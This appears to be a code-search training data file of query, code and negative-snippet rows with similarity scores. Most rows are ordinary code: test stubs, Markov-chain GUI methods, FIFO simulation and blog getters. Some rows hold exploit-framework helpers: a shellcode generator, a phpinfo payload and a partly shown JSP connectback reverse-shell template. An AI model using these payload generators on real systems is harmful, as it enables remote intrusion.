"0.71710646",
"0.71710646",
"0.67199636",
"0.6585331",
"0.65528893",
"0.6541352",
"0.64944035",
"0.6406276",
"0.6406276",
"0.63428843",
"0.6257347",
"0.6197544",
"0.6124488",
"0.61166626",
"0.6104026",
"0.6104026",
"0.6104026",
"0.6095149",
"0.60723835",
"0.60653... | 0.9190918 | 0 |
Test case for update9 | def test_update9(self):
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_4_4_1_1(self):\n pass",
"def test_update_system(self):\n pass",
"def test_update_case(self):\n pass",
"def test_update_state4(self):\n pass",
"def test_update(self):\n # this is tested graphically, as it is UI\n pass",
"def test_update(self):\n pa... | [
"0.7360029",
"0.7172825",
"0.7060694",
"0.6966549",
"0.68949056",
"0.68932676",
"0.68932676",
"0.68932676",
"0.68491435",
"0.6751525",
"0.66580385",
"0.6636913",
"0.66286045",
"0.6586873",
"0.65783006",
"0.6496448",
"0.6440388",
"0.63663083",
"0.632522",
"0.632522",
"0.632522... | 0.84707344 | 0 |
Function for create shellcode | def create_shellcode(self, _shellcode_type='', command='calc.exe', message='', encode=None, make_exe=0, debug=0):
generator = ShellGenerator(self.OS_TARGET, self.OS_TARGET_ARCH)
shellcode = generator.get_shellcode(_shellcode_type,
connectback_ip=self.CONNECTBA... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get(self):\r\n # Update of 0.3.6\r\n # Some custom shells will not need TARGET and PORT strings.\r\n # To deal with that, I will just try to find them in the string first.\r\n if \"TARGET\" in self.code and \"PORT\" in self.code:\r\n self.code = str(self.code.replace(\"TA... | [
"0.7402912",
"0.73418057",
"0.6836136",
"0.64263725",
"0.63928574",
"0.6227515",
"0.620947",
"0.6156581",
"0.6121463",
"0.60504764",
"0.6037975",
"0.6035005",
"0.60190237",
"0.588461",
"0.58781004",
"0.5792686",
"0.57852757",
"0.56722367",
"0.5576622",
"0.55551994",
"0.552261... | 0.7425078 | 0 |
Function to get phpinfo | def get_phpinfo(self, badchars):
phpcode = "<?php phpinfo(); ?>"
return phpcode | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def phpinfo(interp, arg):\n if arg & get_const('standard', 'INFO_MODULES'):\n for ext in EXTENSIONS:\n interp.writestr(ext + \"\\n\")\n return interp.space.w_True",
"def phpversion(interp, ext=None):\n if ext:\n return interp.space.w_False\n return interp.config.get_ini_w('ph... | [
"0.6446138",
"0.63850063",
"0.59758496",
"0.57701653",
"0.5352841",
"0.53243315",
"0.5187391",
"0.5157908",
"0.51493025",
"0.5139393",
"0.50845015",
"0.5054053",
"0.50187427",
"0.49383837",
"0.49188626",
"0.4916893",
"0.4897124",
"0.4884904",
"0.48526204",
"0.485079",
"0.4848... | 0.692314 | 0 |
Function to get java(jsp) shellcode | def get_javacode(self, localhost, localport):
if not localhost or not localport:
print "Settings for connectback listener must be defined"
return False
javacode = ""
javacode += """
<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
<%
for (;;) {
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get(self):\r\n # Update of 0.3.6\r\n # Some custom shells will not need TARGET and PORT strings.\r\n # To deal with that, I will just try to find them in the string first.\r\n if \"TARGET\" in self.code and \"PORT\" in self.code:\r\n self.code = str(self.code.replace(\"TA... | [
"0.65716577",
"0.62779516",
"0.5901102",
"0.5884757",
"0.58177274",
"0.5609137",
"0.5590681",
"0.5558408",
"0.5501154",
"0.5491614",
"0.5461308",
"0.5412035",
"0.53937984",
"0.5315008",
"0.53004134",
"0.52274543",
"0.5221554",
"0.52188283",
"0.5174355",
"0.5173966",
"0.515163... | 0.63459843 | 1 |
loopbased function that sums the odd elements in list L | def summedOdds(L):
result = 0
element = 0
for e in L:
if element%2 != 0:
result = result + L(element)
element = element + 1
return result | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def summedOdds(L):\r\n result = 0\r\n for e in L:\r\n if e % 2 == 1:\r\n result = result + e # or result += e\r\n return result",
"def summedOdds( L ):\n result = 0\n for element in L:\n if element %2 ==1: #checking if the current elemnt is odd\n result = res... | [
"0.8202531",
"0.818297",
"0.72264755",
"0.7155077",
"0.6779432",
"0.6763767",
"0.67523843",
"0.67198855",
"0.67146987",
"0.6634213",
"0.66224146",
"0.6493464",
"0.647851",
"0.6451017",
"0.6442839",
"0.6419634",
"0.6373533",
"0.6341522",
"0.61926824",
"0.61879593",
"0.6172271"... | 0.84245884 | 0 |
Loopbased function that finds the dot product of the lists L and K | def dot(L,K):
result = 0
if len(L) != len(K):
result = 0
else:
for x in range(len(L)):
result = result + (L[x]*K[x])
return result | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def dotproduct(v1, v2):\n\treturn sum(imap(operator.mul, v1, v2))",
"def dot_prod(u,v):\n each_product = []\n for i in range(len(u)):\n each_product.append(u[i] * v[i])\n return sum(each_product)",
"def dot_product(v1, v2):\n #print(v1, v2)\n sum = 0\n\n for i in range(len(v1)):\n ... | [
"0.7087473",
"0.7082206",
"0.69925463",
"0.6855394",
"0.6757962",
"0.67315555",
"0.67204964",
"0.67034316",
"0.66845644",
"0.6589555",
"0.6563364",
"0.6471573",
"0.64645624",
"0.6464455",
"0.64520186",
"0.64379126",
"0.6426547",
"0.6409601",
"0.6401266",
"0.64010394",
"0.6390... | 0.8606569 | 0 |
loopbased function that counts the number of 9s in a given array | def count9(L):
result = 0
for x in L:
if x == 9:
result = result + 1
return result | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def array_count9(nums):\n count = 0\n if len(nums) >= 4:\n for i in range (4):\n if nums[i] == 9:\n count += 1\n return count > 0\n else:\n for i in range (len(nums)):\n if nums[i] == 9:\n count += 1\n return count > 0\n\n ... | [
"0.70626134",
"0.6769188",
"0.6477547",
"0.6390147",
"0.63446254",
"0.63192827",
"0.6296587",
"0.62494373",
"0.62323403",
"0.6124918",
"0.607212",
"0.6051759",
"0.60271645",
"0.6020566",
"0.59873253",
"0.598094",
"0.59699416",
"0.59053385",
"0.5871887",
"0.58604145",
"0.58533... | 0.7521141 | 0 |
State machine to write incomming data into memory | def write_sm(self):
while True:
# wait to receive incoming data
(addr, data) = yield self.w_in_pipe.get()
# model write latency
#for i in range(self.write_latency):
yield self.wait_sys_clks(self.write_latency)
# try to write data int... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def TransferMemorySequence():\r\n pass",
"def send_state(self):\n self.state = self.enigma.get_state()\n messages = self.notify_slaves()\n for message in messages:\n self.network.messages_to_slaves.append(message)",
"def update(self):\n self.write_state(bytes([]))"... | [
"0.59692395",
"0.5955333",
"0.58689207",
"0.5767663",
"0.5702709",
"0.57007813",
"0.5687097",
"0.5678996",
"0.56627923",
"0.56499904",
"0.5644262",
"0.5623464",
"0.5596828",
"0.55803",
"0.5578878",
"0.55625767",
"0.5532469",
"0.5525875",
"0.5517828",
"0.54954076",
"0.5493518"... | 0.6438711 | 0 |
State machine to read data from memory | def read_sm(self):
while True:
# wait to receive a read request
addr = yield self.r_in_pipe.get()
# model read latency
#for i in range(self.read_latency):
yield self.wait_sys_clks(self.read_latency)
# try to read data from memory
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def load_state(self):\n return self.state.read()",
"def _read_data(self):",
"def read():\n # TODO",
"def readState(self, saveState: ghidra.framework.options.SaveState) -> None:\n ...",
"def read( self, store ):\n\t\tassert 1<=store<=2, \"Can only read data to store 1 or 2\"\n\t\tdata = sel... | [
"0.660556",
"0.63064694",
"0.63053113",
"0.6188742",
"0.61747855",
"0.6130439",
"0.60419524",
"0.60233593",
"0.60233593",
"0.60233593",
"0.59958494",
"0.59445846",
"0.5923876",
"0.5904313",
"0.58931416",
"0.5835286",
"0.5792846",
"0.5786805",
"0.57863224",
"0.5784955",
"0.570... | 0.6485029 | 1 |
State machine to push incoming data into the FIFO | def push_sm(self):
while True:
# wait to receive incoming data
data = yield self.w_in_pipe.get()
# model write latency
#for i in range(self.write_latency):
yield self.wait_sys_clks(self.write_latency)
# try to write data into FIFO
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def push_sm(self):\r\n popped_data = 0\r\n\r\n while True:\r\n popped_data_valid = 0\r\n # wait to receive incoming data\r\n data = yield self.w_in_pipe.get()\r\n # model write latency\r\n #for i in range(self.write_latency):\r\n yield... | [
"0.6671598",
"0.62894833",
"0.6145731",
"0.61236733",
"0.60589486",
"0.5953796",
"0.5827482",
"0.5810255",
"0.57340187",
"0.5702618",
"0.56995225",
"0.56634825",
"0.5663189",
"0.5631365",
"0.5625704",
"0.5597995",
"0.559065",
"0.5590326",
"0.55785394",
"0.55777264",
"0.556468... | 0.7163576 | 0 |
State machine to pop data out of the FIFO upon request | def pop_sm(self):
while True:
# wait to receive a read request
req = yield self.r_in_pipe.get()
# model read latency
#for i in range(self.read_latency):
yield self.wait_sys_clks(self.read_latency)
# try to read head element
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pop_sm(self):\r\n while True:\r\n # wait to receive a read request\r\n req = yield self.r_in_pipe.get()\r\n # model read latency\r\n # for i in range(self.read_latency):\r\n yield self.wait_sys_clks(self.read_latency)\r\n # try to read he... | [
"0.6621711",
"0.649071",
"0.6357225",
"0.6148396",
"0.5974678",
"0.59630424",
"0.587258",
"0.58450246",
"0.5842207",
"0.5821833",
"0.5777409",
"0.5777409",
"0.57464164",
"0.56125146",
"0.55776095",
"0.556682",
"0.5514615",
"0.5514615",
"0.5500672",
"0.5438145",
"0.5423421",
... | 0.7223649 | 0 |
State machine to pop data out of the PIFO upon request | def pop_sm(self):
while True:
# wait to receive a read request
req = yield self.r_in_pipe.get()
# model read latency
# for i in range(self.read_latency):
yield self.wait_sys_clks(self.read_latency)
# try to read head element
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __del__(self):\n\t\tif self.ispersist() and self._input:\n\t\t\t\tpservlet.pipe_push_state(self._pipe_desc, self._state)",
"def callback(self, data):\n self.state = data.data\n #rospy.loginfo('HEARD')",
"def pop_payload(self):\n payload = self.rdb.lpop(self.key)\n if payload:\n ... | [
"0.6127213",
"0.60501",
"0.5966249",
"0.58384705",
"0.5765319",
"0.5569881",
"0.55665207",
"0.5544534",
"0.55201185",
"0.5505476",
"0.5505476",
"0.54195637",
"0.5391677",
"0.5345437",
"0.5333264",
"0.5328006",
"0.5309682",
"0.5281757",
"0.52800685",
"0.525747",
"0.52553725",
... | 0.62425005 | 0 |
Send pkt_list over AXI_stream interface | def write_pkts(self, pkt_list):
while True:
# wait for the next transmission
yield self.wait_sys_clks(1)
# send one word at a time
if len(pkt_list) == 0:
# no more data to send so send blanks
tdata = '\x00'*self.bus_width
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def send_sus_list(key):\n while True:\n if not receive_sus():\n signature = key.create_signature(json.dumps(SUS) + '2')\n\n pack_send = Ether(dst='98:98:98:22:22:22') / \\\n IP(dst='172.16.104.16') / \\\n UDP(dport=2223, sport=2223) / \\... | [
"0.5825835",
"0.5745238",
"0.5683483",
"0.558449",
"0.5557022",
"0.5464802",
"0.54528224",
"0.5446074",
"0.54343146",
"0.53621197",
"0.532868",
"0.5285138",
"0.52766114",
"0.5175844",
"0.5172803",
"0.513203",
"0.51317626",
"0.51258296",
"0.51237726",
"0.5120732",
"0.51201624"... | 0.6792502 | 0 |
Returns a list of all expected replies to the question `self` represents. | def get_expected_replies(self):
# () -> ([{"intent-name": str}])
return [cfg.INFORM_INTENT_PREFIX+self.slot_description["name"]] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def replies(self):\r\n return Replies(self)",
"def replies(self):\n keys = {}\n comments = self.comments.order('-score').fetch(1000)\n for comment in comments:\n keys[str(comment.key())] = comment\n comment.replies = []\n for comment in comments:\n ... | [
"0.6508348",
"0.61938727",
"0.6090138",
"0.60633636",
"0.60112613",
"0.59839123",
"0.58777964",
"0.5870995",
"0.58363676",
"0.58160585",
"0.5789464",
"0.57393974",
"0.5715851",
"0.56585544",
"0.56292933",
"0.5616232",
"0.55927455",
"0.5582778",
"0.555033",
"0.5545911",
"0.554... | 0.6340167 | 1 |
Finds and adds the contents of a .txt file the user wants to add to this GUI's Markov Chain | def find_file(self):
selected_file = tk.filedialog.askopenfilename(initialdir='/', title='Select File',
filetypes=(('txt Files', '*.txt'), ('All Files', '*.*')))
self.markov_chain.add_file(selected_file) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_add_1(self):\n contents = testdata.get_words()\n d = testdata.create_dir()\n ts = {\n \"foo.txt\": [contents],\n }\n ds = d.add(ts)\n path = ds[0]\n self.assertTrue(os.path.isfile(path), \"{} does not exist\".format(path))\n self.assertEqu... | [
"0.58673614",
"0.58666176",
"0.5830618",
"0.57294697",
"0.57178396",
"0.56749254",
"0.56574875",
"0.5655286",
"0.55703944",
"0.55577236",
"0.55479455",
"0.553887",
"0.55290604",
"0.5523641",
"0.55101806",
"0.5491232",
"0.548524",
"0.54401654",
"0.5432001",
"0.54061073",
"0.54... | 0.7365237 | 0 |
Adds any text the user entered into the user_string_entry component to this GUI's Markov Chain. | def add_user_text(self):
text_to_add = self.user_string_entry.get()
self.user_string_entry.delete(0, tk.END)
self.markov_chain.add_string(text_to_add) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _settext(self, textEntered):\n if textEntered.strip() == '':\n textEntered=self.data['initialtext']\n self.entry.enterText(textEntered)\n else:\n if callable(self.data['callback']): self.data['callback'](textEntered)\n if self.data['autoexit'] and callable(self.data['exit']):\n ... | [
"0.61185825",
"0.5684883",
"0.5672892",
"0.56151104",
"0.5603731",
"0.55997413",
"0.5588983",
"0.5568581",
"0.55082643",
"0.5503857",
"0.54837346",
"0.5478493",
"0.5453264",
"0.5412463",
"0.53762734",
"0.5370564",
"0.5360708",
"0.5335736",
"0.53332293",
"0.53150713",
"0.53012... | 0.85894454 | 0 |
Sets the number of sentences to request this GUI's Markov Chain to produce from the current value of the num_sentences SpinBox component. | def set_number_of_sentences(self):
self.number_of_sentences = int(self.num_sentences.get()) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_sentences(self, sentences):\n self._sentences = sentences",
"def _set_number_of_words(self, N):\n self.N_words_to_display = N",
"def setCount(self, num):\n self.count=num",
"def edit_text(self):\n self.text = self.ui.plainTextEdit.toPlainText()\n sentences_number = ... | [
"0.65060955",
"0.61695755",
"0.59748507",
"0.5911244",
"0.58793664",
"0.5843372",
"0.5841032",
"0.58173054",
"0.5584266",
"0.55234367",
"0.549743",
"0.5469665",
"0.5469665",
"0.54437494",
"0.54421407",
"0.5417",
"0.5392903",
"0.53676283",
"0.5358095",
"0.5322339",
"0.53115636... | 0.87004405 | 0 |
Sets the minimum sentence length of any sentence this GUI's Markov Chain will output, as per the current value of the set_min_sentence SpinBox. If the current value is greater than or equal to the current maximum sentence length, no change is made. | def set_min_sentence_length(self):
new_min = int(self.set_min_sentence.get())
cur_max = self.max_sentence_length
if new_min < cur_max:
self.min_sentence_length = new_min
else:
old_min = self.min_sentence_length
old_min_var = tk.StringVar(self.master)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setMinSentenceSize(self, value):\n return self._set(minSentenceSize=value)",
"def set_max_sentence_length(self):\n new_max = int(self.set_max_sentence.get())\n cur_min = self.min_sentence_length\n\n if new_max > cur_min:\n self.max_sentence_length = new_max\n els... | [
"0.7855158",
"0.76631397",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
"0.6884778",
... | 0.87098616 | 0 |
Sets the maximum sentence length of any sentence this GUI's Markov Chain will output, as per the current value of the set_max_sentence SpinBox. If the current value is less than or equal to the current minimum sentence length, no change is made. | def set_max_sentence_length(self):
new_max = int(self.set_max_sentence.get())
cur_min = self.min_sentence_length
if new_max > cur_min:
self.max_sentence_length = new_max
else:
old_max = self.max_sentence_length
old_max_var = tk.StringVar(self.master)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setMaxSentenceLength(self, value):\n return self._set(maxSentenceLength=value)",
"def setMaxSentenceLength(self, value):\n return self._set(maxSentenceLength=value)",
"def setMaxSentenceLength(self, value):\n return self._set(maxSentenceLength=value)",
"def setMaxSentenceLength(self,... | [
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"0.8061239",
"... | 0.8767241 | 0 |
Recomputes this GUI's Markov Chain if the desired order is changed from the current order, as per the value of the order_selection SpinBox component. | def recompute_markov_chain(self):
new_order = int(self.order_selection.get())
if new_order != self.markov_chain.order:
self.markov_chain.recompute_markov_chain(new_order) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def changeOrder(self):\n order = self.orderSpinBox.value()\n nfilter = int(str(self.filterComboBox.currentText()))\n if order > nfilter - 2:\n order = nfilter - 2\n if order < 1:\n order = 1\n self.orderSpinBox.setValue(order)\n self.order = order",
... | [
"0.6389229",
"0.58652914",
"0.5861863",
"0.5853997",
"0.5796275",
"0.5780696",
"0.5687923",
"0.5687923",
"0.55883986",
"0.5557497",
"0.55573565",
"0.55556",
"0.52876484",
"0.52418035",
"0.5234506",
"0.5224273",
"0.52146053",
"0.517181",
"0.517181",
"0.5164182",
"0.51192427",
... | 0.78417915 | 0 |
Has this GUI's Markov Chain recompute itself to work with whole words. | def set_markov_chain_to_words(self):
self.markov_chain.recompute_markov_chain_with_words() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def recompute_markov_chain(self):\n new_order = int(self.order_selection.get())\n if new_order != self.markov_chain.order:\n self.markov_chain.recompute_markov_chain(new_order)",
"def set_markov_chain_to_chars(self):\n self.markov_chain.recompute_markov_chain_with_chars()",
"def... | [
"0.6143838",
"0.5924507",
"0.5841545",
"0.56694335",
"0.5658453",
"0.56565875",
"0.5607831",
"0.55883926",
"0.55284345",
"0.54901344",
"0.5477555",
"0.54664123",
"0.54603267",
"0.54457223",
"0.54457223",
"0.54229975",
"0.5419326",
"0.5410536",
"0.54028875",
"0.5382244",
"0.53... | 0.7139649 | 0 |
Has this GUI's Markov Chain recompute itself to work with individual characters. | def set_markov_chain_to_chars(self):
self.markov_chain.recompute_markov_chain_with_chars() | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def recompute_markov_chain(self):\n new_order = int(self.order_selection.get())\n if new_order != self.markov_chain.order:\n self.markov_chain.recompute_markov_chain(new_order)",
"def set_markov_chain_to_words(self):\n self.markov_chain.recompute_markov_chain_with_words()",
"def... | [
"0.6082565",
"0.57227516",
"0.5720472",
"0.5489015",
"0.5296242",
"0.5296242",
"0.52733576",
"0.52166784",
"0.521666",
"0.5161676",
"0.51242065",
"0.5092522",
"0.5079919",
"0.50704604",
"0.5066467",
"0.4993566",
"0.49751157",
"0.49563563",
"0.4953338",
"0.49358505",
"0.493184... | 0.7340027 | 0 |
Return a random magnitude with the corresponding error | def _random_magnitude_error(self):
magnitude = random.uniform(MIN_MAG, MAX_MAG)
snr = random.uniform(MIN_SNR, MAX_SNR)
merror = snr_to_error(snr)[1] # the positive error
return magnitude, merror | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _random_error(self):\n return self._random_magnitude_error()[1]",
"def random() -> float:\n ...",
"def mag_err(self):\n return self.photosamplers.get_estimate(mag=True)[1:]",
"def random_float():\n return (random() - 0.5) * 2",
"def random():\r\n return R.NextDouble()",
"def ef... | [
"0.81969005",
"0.62485933",
"0.6231532",
"0.60908645",
"0.6088968",
"0.59982437",
"0.59946096",
"0.5939237",
"0.59085435",
"0.5882188",
"0.5876455",
"0.5862307",
"0.5852154",
"0.58491963",
"0.58294046",
"0.5827964",
"0.5806923",
"0.57921576",
"0.57457095",
"0.5741895",
"0.574... | 0.8595285 | 0 |
Return a random error in magnitudes | def _random_error(self):
return self._random_magnitude_error()[1] | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _random_magnitude_error(self):\n magnitude = random.uniform(MIN_MAG, MAX_MAG)\n snr = random.uniform(MIN_SNR, MAX_SNR)\n merror = snr_to_error(snr)[1] # the positive error\n return magnitude, merror",
"def random() -> float:\n ...",
"def random_float():\n return (random() ... | [
"0.81952596",
"0.6543351",
"0.6431196",
"0.6320314",
"0.6304057",
"0.6242931",
"0.6069427",
"0.60419965",
"0.6036287",
"0.60287774",
"0.60102165",
"0.6001173",
"0.5979543",
"0.5971652",
"0.5969251",
"0.5958259",
"0.59394056",
"0.591453",
"0.5869372",
"0.5855773",
"0.58526",
... | 0.82927364 | 0 |
Return a random float in the range [MIN_WEIGHT, MAX_WEIGHT] | def _random_weight(self):
return random.uniform(MIN_WEIGHT, MAX_WEIGHT) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def random_weight():\n # We found that random.randrange(-1,2) to work well emperically \n # even though it produces randomly 3 integer values -1, 0, and 1.\n return random.randrange(-1, 2)\n\n # Uncomment the following if you want to try a uniform distribuiton \n # of random numbers compare and see ... | [
"0.7570449",
"0.70938075",
"0.7011047",
"0.6810181",
"0.6796796",
"0.6776659",
"0.67762464",
"0.6731501",
"0.67143947",
"0.66815233",
"0.664851",
"0.66397256",
"0.66202104",
"0.6619948",
"0.65967226",
"0.6577365",
"0.6533013",
"0.6486401",
"0.6468668",
"0.64540213",
"0.645165... | 0.84455985 | 0 |
This is used to quickly jump to the Start Menu Loop from the Code Explorer | def STARTMENU_LOOP():
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def start(self):\n self.menu()",
"def goto_menu(self, *args):\n self.manager.current = 'Main Menu'\n self.reset()\n self.manager.reset()",
"def home(self):\n self.goto(0, 0)",
"def start(self):\n op = self.menu()\n self.opcoes(op)\n if op != \"q\" and o... | [
"0.71798974",
"0.6878403",
"0.6776373",
"0.6688196",
"0.650974",
"0.64464825",
"0.64293313",
"0.64215064",
"0.63442796",
"0.63122696",
"0.62531924",
"0.62444067",
"0.6239972",
"0.62016857",
"0.6131184",
"0.6120715",
"0.6120715",
"0.6086501",
"0.60707784",
"0.60664964",
"0.602... | 0.7082131 | 1 |
This is used to quickly jump to the Options Loop from the Code Explorer | def OPTIONS_LOOP():
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def OnButtonOptionsHelpButton(self, event):\r\n\t\twebbrowser.open(consts.URL_HELP_OPTIONS)",
"def display_other_options():\n print(\"> - Next Song page.\")\n print(\"< - Previous song page.\")\n print(\"q - to quit\")",
"def help_opt(self):\n print(OPTIONS)",
"def help_select(self):\n ... | [
"0.6238629",
"0.6180159",
"0.61225075",
"0.59989923",
"0.59854394",
"0.5905911",
"0.5844399",
"0.58427507",
"0.5764392",
"0.57433075",
"0.57324344",
"0.57227015",
"0.56916445",
"0.56883585",
"0.56763846",
"0.56689197",
"0.5665599",
"0.5660199",
"0.56284314",
"0.5613474",
"0.5... | 0.6788612 | 0 |
This is used to quickly jump to the Room Selection Loop from the Code Explorer | def ROOMSELECTION_LOOP():
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def PLAYERSELECTION_LOOP():\n pass",
"def jump(self):\n print(\"Inside ElfRider.jump\")",
"def choose_room():\n while True:\n print_rooms()\n print(\"Type 'back' to go to main menu.\")\n print(\"Which room would you like to explore?\")\n room_choice = player_choice(... | [
"0.60685885",
"0.60248345",
"0.5989344",
"0.59017426",
"0.57875234",
"0.57718116",
"0.5751729",
"0.56090176",
"0.55681235",
"0.55577826",
"0.55535865",
"0.55470115",
"0.55452293",
"0.5542435",
"0.55263907",
"0.55010617",
"0.5497043",
"0.546584",
"0.54628676",
"0.5448609",
"0.... | 0.62208515 | 0 |
This is used to quickly jump to the Game Loop from the Code Explorer | def GAME_LOOP():
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def GAMEOVER_LOOP():\n pass",
"def play_game():\n pass",
"def Gameloop():",
"def game_loop(self):\n self.interface.game_loop(self)",
"def main():\n g = DemoGame(800, 600)\n g.start()",
"def jump(self):\n print(\"Inside ElfRider.jump\")",
"def play_game():\n pass",
... | [
"0.69366133",
"0.68866116",
"0.68605375",
"0.6819283",
"0.6673939",
"0.66653144",
"0.6628724",
"0.65626556",
"0.6455979",
"0.6443854",
"0.6441353",
"0.6427253",
"0.6388133",
"0.6295309",
"0.6292259",
"0.6284031",
"0.62803626",
"0.6275879",
"0.6259884",
"0.62101716",
"0.620608... | 0.70450854 | 0 |
This is used to quickly jump to the GameOver Loop from the Code Explorer | def GAMEOVER_LOOP():
pass | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def play_game():\n pass",
"def play_game():\n pass",
"def GAME_LOOP():\n pass",
"def jump(self):\n print(\"Inside ElfRider.jump\")",
"def jumped_on(self):\r\n pass",
"def event_game_over(self):\n print('Game over!')\n self._cmd_exit()",
"def Gameloop():",
... | [
"0.69013184",
"0.6685942",
"0.667838",
"0.64479417",
"0.6389033",
"0.63500315",
"0.6268412",
"0.6247274",
"0.6208292",
"0.62065697",
"0.61782795",
"0.61727744",
"0.61709315",
"0.6155323",
"0.6140036",
"0.61322534",
"0.60895646",
"0.60741645",
"0.6071158",
"0.6070823",
"0.6063... | 0.779364 | 0 |
Delete the config file | def clean():
Log.d(DEBUG_TAG, "Delete config file...")
try:
os.remove(CONFIG_FILE)
except os.error as e:
Log.e(DEBUG_TAG, "Delete config file%s error, reason:%s"%(CONFIG_FILE, e)) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"async def before_cleanup(self, invoker: PluginInvoker):\n config_file = invoker.files[\"config\"]\n try:\n config_file.unlink()\n except FileNotFoundError:\n pass\n logging.debug(f\"Deleted configuration at {config_file}\")",
"def remove_config(name):\n db = d... | [
"0.74366903",
"0.7346777",
"0.7211751",
"0.71800804",
"0.7114096",
"0.6960528",
"0.69506925",
"0.6919178",
"0.6889668",
"0.6852701",
"0.6828853",
"0.6788664",
"0.6766707",
"0.67503726",
"0.6749905",
"0.6742663",
"0.67349917",
"0.6699292",
"0.66893643",
"0.66805387",
"0.665404... | 0.8400627 | 0 |
Generates a random number or array based on an uniform distribution. | def generate_uniform_random_number(low=0.0, high=1.0, size=1):
uniform_array = np.random.uniform(low, high, size)
return uniform_array | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def discrete_uniform_sampler(upper_value):\n return int(np.random.random() * upper_value)",
"def uniform_random (d, num_samples=None):\n \n return build_uniform_random (d, num_samples=num_samples)",
"def generate_random_data(min_, max_, len_):\n return np.random.uniform(min_, max_, len_)",
"d... | [
"0.7219819",
"0.7165851",
"0.7116001",
"0.70992416",
"0.708078",
"0.70510674",
"0.70472604",
"0.70472604",
"0.70045674",
"0.69709945",
"0.6946136",
"0.69459814",
"0.6933979",
"0.692469",
"0.692469",
"0.69243973",
"0.6828493",
"0.6742964",
"0.6704405",
"0.6655175",
"0.66233355... | 0.71848965 | 1 |
Get all the posts that are of type NEWS | def get_news(request):
return get_all_posts(request, PostType.NEWS) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_posts(self, published=False) -> Type[QuerySet]:\n categories = self.get_descendant_categories()\n posts = Post.objects.filter(categories__in=categories)\n if published:\n posts = posts.filter(published__lte=timezone.now())\n return posts",
"def get_all_posts(request... | [
"0.6337393",
"0.6113393",
"0.60611385",
"0.60267586",
"0.6009277",
"0.59933615",
"0.59903824",
"0.58913356",
"0.5810465",
"0.5692559",
"0.5685967",
"0.565168",
"0.5642692",
"0.56090117",
"0.5573423",
"0.55714744",
"0.5566585",
"0.55500364",
"0.5540304",
"0.5528783",
"0.552878... | 0.65027636 | 0 |
Get all the posts that are of type BLOG | def get_blogs(request):
return get_all_posts(request, PostType.BLOG) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
